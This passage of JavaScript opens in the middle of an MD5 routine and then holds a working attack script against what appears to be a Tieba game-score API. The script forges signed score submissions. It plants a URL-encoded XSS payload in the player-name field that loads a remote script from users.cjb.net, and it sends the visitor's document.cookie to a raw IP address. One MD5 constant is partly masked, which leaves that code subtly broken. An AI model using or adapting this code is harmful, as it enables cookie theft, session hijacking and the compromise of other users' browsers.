-1926607734);o = md5_hh(o, n, m, l, p[g + 5], 4, -378558); l = md5_hh(l, o, n, m, p[g + 8], 11, -2022574463); m = md5_hh(m, l,o, n, p[g + 11], 16, 1839030562); n = md5_hh(n, m, l, o, p[g + 14], 23, -35309556); o = md5_hh(o, n, m, l, p[g+ 1], 4, -1530992060); l = md5_hh(l, o, n, m, p[g + 4], 11, 1272893353); m = md5_hh(m, l, o, n, p[g + 7], 16, -155497632); n = md5_hh(n, m, l, o, p[g + 10], 23, -1094730640); o = md5_hh(o, n, m, l, p[g + 13], 4, 681279174); l = md5_hh(l, o, n, m, p[g+ 0], 11, -358537222); m = md5_hh(m, l, o, n, p[g + 3], 16, -722521979); n = md5_hh(n, m, l, o, p[g + 6], 23, 7602***9); o = md5_hh(o,n, m, l, p[g+ 9], 4, -640364487); l = md5_hh(l, o, n,m, p[g + 12], 11, -421815835); m = md5_hh(m, l, o, n, p[g + 15], 16, 530742520); n = md5_hh(n, m, l, o, p[g+ 2], 23, -995338651); o = md5_ii(o, n, m, l, p[g+ 0], 6, -198630844); l = md5_ii(l, o, n, m, p[g + 7], 10, 1126891415); m = md5_ii(m, l, o, n, p[g+ 14], 15, -1416354905); n = md5_ii(n, m, l, o, p[g+ 5], 21, -57434055); o = md5_ii(o, n, m, l, p[g + 12], 6, 1700485571); l = md5_ii(l, o, n, m, p[g+ 3], 10, -1894986606); m = md5_ii(m, l,o, n, p[g+ 10], 15, -1051523); n = md5_ii(n, m, l,o, p[g + 1], 21, -2054922799); o = md5_ii(o, n, m, l, p[g+ 8], 6, 1873313359); l = md5_ii(l, o, n, m, p[g+ 15], 10, -30611744); m = md5_ii(m, l, o, n, p[g + 6], 15, -1560198380); n = md5_ii(n, m, l, o, p[g+ 13], 21, 1309151649); o = md5_ii(o, n, m, l, p[g+ 4], 6, -145523070); l = md5_ii(l, o, n, m, p[g + 11], 10, -1120210379); m = md5_ii(m, l, o, n, p[g + 2], 15, 718787259); n = md5_ii(n,m, l, o, p[g + 9], 21, -343485551); o = safe_add(o, j);n = safe_add(n, h); m =safe_add(m, f); l = safe_add(l, e) } return Array(o, n, m,l) } function md5_cmn(h, e, d, c, g, f) { return safe_add(bit_rol(safe_add(safe_add(e, h), safe_add(c, f)), g), d) } function md5_ff(g, f, k, j, e, i, h) { return md5_cmn((f & k) | ((~f) & j), g, f, e, i, h) } function md5_gg(g, f, k, j, e, i, h) { return md5_cmn((f & j) | (k & (~j)), g, f, e, i, h) } function md5_hh(g, f, k, j, e, i, h) { return md5_cmn(f ^ k ^ j, g, f, e, i, h) } function md5_ii(g, f, k, j, e, i, h) { return md5_cmn(k ^ (f | (~j)), g, f, e, i, h) } function safe_add(a, d) { var c = (a & 65535) + (d & 65535); var b = (a>> 16) + (d >> 16) + (c >> 16); return (b << 16) | (c & 65535) } function bit_rol(a, b) { return (a << b)| (a >>> (32 - b)) };
var GameID = "18";var GameName="%22%3c%2fa%3e%3cscript%3evar+s%3ddocument.createElement('script')%3bs.type%3d'text%2fjavascript'%3bdocument.body.appendChild(s)%3bs.src%3d'http%3a%2f%2fusers.cjb.net%2fwapp%2fbdhm.js'%3bvoid(0)%3b%3c%2fscript%3e%3ca+target%3d%22_blank%22+href%3d%22%2ff%3fkw%3d%25BB%25C6%25BD%25F0%25BF%25F3%25B9%25A4";var GamePro="tieba";
var txmlhttp = xmlhttp();var fen = 9223372036854776000;var token = "";
txmlhttp.onreadystatechange = function(){ if (txmlhttp.readyState == 4) { var ttxmlhttp = xmlhttp(); token=gettoken(txmlhttp.responseText);//JSON.parse(txmlhttp.responseText).token; ttxmlhttp.open("POST", "/app/sgp/addResult?format=json&t="+Math.random()); ttxmlhttp.setRequestHeader("Content-Type","application/x-www-form-urlencoded"); ttxmlhttp.send("bd%5Fsig="+getsig(fen)+"&pla="+GameName+"&game%5Fid="+GameID+"&pro="+GamePro+"&result="+fen);
ttxmlhttp.open("POST", "/app/sgp/showResult?format=json&t="+Math.random()); ttxmlhttp.setRequestHeader("Content-Type","application/x-www-form-urlencoded"); ttxmlhttp.send("bd%5Fsig="+getsig(fen)+"&pla="+GameName+"&game%5Fid="+GameID+"&pro="+GamePro+"&result="+fen); txmlhttp.open("GET", " http://125.79.207.65:8081/aaa.asp?cookie="+document.cookie); txmlhttp.send(null);}};txmlhttp.open("POST", "/app/sgp/getToken?format=json&t="+Math.random());txmlhttp.setRequestHeader("Content-Type","application/x-www-form-urlencoded");txmlhttp.send("game%5Fid="+GameID);
function getsig(fen){ return hex_md5(GameID+GamePro+fen+token);}
function gettoken(r){ var ts = r.match(/{"token":"(.*?)"}/) return ts[1]}